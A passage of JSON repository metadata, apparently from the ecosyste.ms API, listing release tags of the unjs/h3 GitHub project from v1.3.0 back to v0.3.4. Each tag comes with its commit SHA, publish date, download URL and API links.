s/v1.3.0/manifests"},{"name":"v1.2.1","sha":"0ef0164cdc98709b9bf61dd26cf13f21667685c2","kind":"tag","published_at":"2023-02-07T00:03:58.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.2.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"4daacc5461cfba4f09bfb2c00638164c842837b7","kind":"tag","published_at":"2023-02-06T22:44:41.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.2.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"8b78592905f6843e5d61bd9aa30f869572303500","kind":"tag","published_at":"2023-01-25T22:46:50.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.1.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.1.0/manifests"},{"name":"v1.0.2","sha":"9af7e8ac837bea543489ae87cb1c9817a4cf9e6c","kind":"tag","published_at":"2022-12-13T14:02:48.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.0.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"3d7652a14bd5fb88969cd79a4e3dfcb31a91212f","kind":"tag","published_at":"2022-11-15T12:04:09.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.0.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"e8a7b6b76f4eb8a4b21bc228dde041c722f76330","kind":"tag","published_at":"2022-11-15T12:03:52.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.0.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.0/manifests"},{"name":"v0.8.6","sha":"dab058a0d497a903961c5d3af01f7e9ea1b2b9cf","kind":"tag","published_at":"2022-10-27T12:29:25.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.6","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.6/manifests"},{"name":"v0.8.5","sha":"6beee463d0e95207480acfd21badc2c2fa46f6c3","kind":"tag","published_at":"2022-10-19T13:35:58.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.5","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.5/manifests"},{"name":"v0.8.4","sha":"0696caa5a36e419269d4c0ea3012ebd0fdfb089c","kind":"tag","published_at":"2022-10-18T11:16:45.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.4","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.4/manifests"},{"name":"v0.8.3","sha":"821efa04a85fd1fb366d8eda9ea9fa10fc028be3","kind":"tag","published_at":"2022-10-18T09:43:13.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.3","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"f820b1653a6d76eedd5ab9ed48e3904a2eced3f6","kind":"tag","published_at":"2022-10-17T21:10:32.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.2","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"7bccad43dcc6eafe610ca8beb1a24e941ece22e7","kind":"tag","published_at":"2022-10-15T17:48:55.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.1","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"42e97e6b0a7b2bbbf3449d032e5fba0abebc3bb4","kind":"tag","published_at":"2022-10-15T12:34:09.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.0","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.0/manifests"},{"name":"v0.7.21","sha":"e0f3af664464d8b3acc45ca06cd480fabfd16411","kind":"tag","published_at":"2022-09-03T16:06:14.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.21","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.21","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.21/manifests"},{"name":"v0.7.20","sha":"0bc96f1231db407e6f5abb9da91f7b7f433a3f86","kind":"tag","published_at":"2022-09-03T14:00:00.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.20","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.20","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.20/manifests"},{"name":"v0.7.19","sha":"3980b32a978d8d8bf1613c7584dd99283bdff532","kind":"tag","published_at":"2022-09-01T15:46:35.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.19","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.19","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.19/manifests"},{"name":"v0.7.18","sha":"caabc2d7c809f4d8e2a4532525dce29b8cf471dd","kind":"tag","published_at":"2022-09-01T15:19:01.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.18","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.18/manifests"},{"name":"v0.7.17","sha":"124525b858be2ed10ad107b136ccef961088729d","kind":"tag","published_at":"2022-08-30T08:51:39.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.17","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.17/manifests"},{"name":"v0.7.16","sha":"ab9c2920025da850cafea1a739225a0a0d727866","kind":"tag","published_at":"2022-08-23T10:04:27.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.16","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.16/manifests"},{"name":"v0.7.15","sha":"b95ab25575e1a6c022ff40cfd731d27cb735f621","kind":"tag","published_at":"2022-08-10T15:43:56.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.15","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.15/manifests"},{"name":"v0.7.14","sha":"a8fa8570f2c8a31963ef480f0f739c620dd2197f","kind":"tag","published_at":"2022-08-08T12:16:42.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.14","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.14/manifests"},{"name":"v0.7.13","sha":"02f90f5b46b6307511219f086a9b9945d37abbca","kind":"tag","published_at":"2022-08-01T11:34:18.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.13","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.13/manifests"},{"name":"v0.7.12","sha":"e27f6738b143b070c3586164badf8c76bed3142e","kind":"tag","published_at":"2022-07-21T12:05:08.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.12","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.12/manifests"},{"name":"v0.7.11","sha":"219d24dd6b2a39f1b6313000e1ec8952ea1076cb","kind":"tag","published_at":"2022-07-21T11:54:04.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.11","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.11/manifests"},{"name":"v0.7.10","sha":"1c4c242cdb83436ad9248ac46e29e69e0e1ca1ae","kind":"tag","published_at":"2022-06-17T08:48:12.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.10","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.10/manifests"},{"name":"v0.7.9","sha":"9d88760063faa234a48c7511c7b5704dc89fad6c","kind":"tag","published_at":"2022-06-10T13:27:13.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.9","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.9/manifests"},{"name":"v0.7.8","sha":"180df7723bcbe711b3b10bb58131c39aecb68164","kind":"tag","published_at":"2022-05-04T15:23:53.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.8","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"a32d81eae507fa1acfc9cea2da6ce99ef327aedc","kind":"tag","published_at":"2022-05-04T14:49:03.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.7","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"0692656c59074c3900b92b203151590f4ab8e055","kind":"tag","published_at":"2022-04-29T09:40:52.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.6","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"46fa4d54d870d15dfe5f0b43875b68a7c536133c","kind":"tag","published_at":"2022-04-27T13:11:24.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.5","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"6b7af2ccd88abaceb34e0ae1de36d650dd60a603","kind":"tag","published_at":"2022-04-14T19:51:59.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.4","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"5018ea7ff0e789ab939cb527ee8b9bbc19d59151","kind":"tag","published_at":"2022-04-12T19:10:25.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.3","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"8b2e1bcb4ab8fceeaa032951124bf0930ebcec54","kind":"tag","published_at":"2022-04-08T20:21:09.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.2","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"175ec7f88ab7a9fcaec698e952435fd2e35bcb0f","kind":"tag","published_at":"2022-04-07T10:12:46.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.1","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"e45f024a86558af97b901d6bd8fa70e74acc3465","kind":"tag","published_at":"2022-04-07T09:51:40.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.0","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"b3ef52c95a4167db77959cb99a3446a3d0fa7392","kind":"tag","published_at":"2022-04-06T16:16:30.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.6.0","html_url":"https://github.com/unjs/h3/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.6.0/manifests"},{"name":"v0.5.7","sha":"0edec32b7872353877520ce25faa373a07b71780","kind":"tag","published_at":"2022-04-06T15:53:11.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.5.7","html_url":"https://github.com/unjs/h3/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"3ef64d6a1b60d81909d080c963c0cf5e9bee0d2d","kind":"tag","published_at":"2022-04-06T15:50:00.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.5.6","html_url":"https://github.com/unjs/h3/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"e529f4ce487fef6e24748081b31bac7f9623f509","kind":"tag","published_at":"2022-04-04T18:45:52.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.5.5","html_url":"https://github.com/unjs/h3/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"4723880ea0ae3e482545b9340d13d63a7cc331b8","kind":"tag","published_at":"2022-04-01T19:32:09.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.5.4","html_url":"https://github.com/unjs/h3/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"5e86d0ce59e161c02ddfe447dc64d44cd1a5ebd1","kind":"tag","published_at":"2022-03-31T19:02:36.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.5.3","html_url":"https://github.com/unjs/h3/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"b5ba48282c33ed22e57388a1d67acc0e5dcb3d07","kind":"tag","published_at":"2022-03-31T06:37:58.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.5.2","html_url":"https://github.com/unjs/h3/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"b0a1565320a0884e853c0d837b64b934d3b3150e","kind":"tag","published_at":"2022-03-29T14:47:50.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.5.1","html_url":"https://github.com/unjs/h3/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"abc5534e645b9e80bde7a73ae834d6f96c3840f6","kind":"tag","published_at":"2022-03-29T13:24:24.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.5.0","html_url":"https://github.com/unjs/h3/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"6357e4202422afb4164b9188871aadde335dbcb7","kind":"tag","published_at":"2022-03-16T21:43:36.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.4.2","html_url":"https://github.com/unjs/h3/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"1ff951cb3ebe42de35fa4c5dc19766a8927b0e6b","kind":"tag","published_at":"2022-03-11T14:18:16.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.4.1","html_url":"https://github.com/unjs/h3/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"860efc56114480a8c8d10202ac54c015ec6bb1ca","kind":"tag","published_at":"2022-03-09T21:37:36.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.4.0","html_url":"https://github.com/unjs/h3/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.4.0/manifests"},{"name":"v0.3.9","sha":"4e053e685f493baee05bb6ad3de1c763e6cfe4ef","kind":"tag","published_at":"2022-01-18T16:56:54.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.9","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.9/manifests"},{"name":"v0.3.8","sha":"c480db864aef9c2c94f712333bf42d49a5f6e2c6","kind":"tag","published_at":"2021-12-04T00:34:33.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.8","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.8/manifests"},{"name":"v0.3.7","sha":"49a1ba0fe776e638f0e7d4e1d08c832197a50381","kind":"tag","published_at":"2021-12-01T14:50:58.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.7","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"78749f263f48a1503d6bfa5c24c87d9bab0d2305","kind":"tag","published_at":"2021-12-01T14:21:57.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.6","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"25a61950f54fa1fe89b9d50fab71b3d040de0bf2","kind":"tag","published_at":"2021-11-24T19:46:27.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.5","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"34ae7c87c373ff0beef40989357c64e5df0f7dd2","kind":"tag","published_at":"2021-11-24T19:43:23.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.4","html_url":"https://github.com/unjs/h3/rele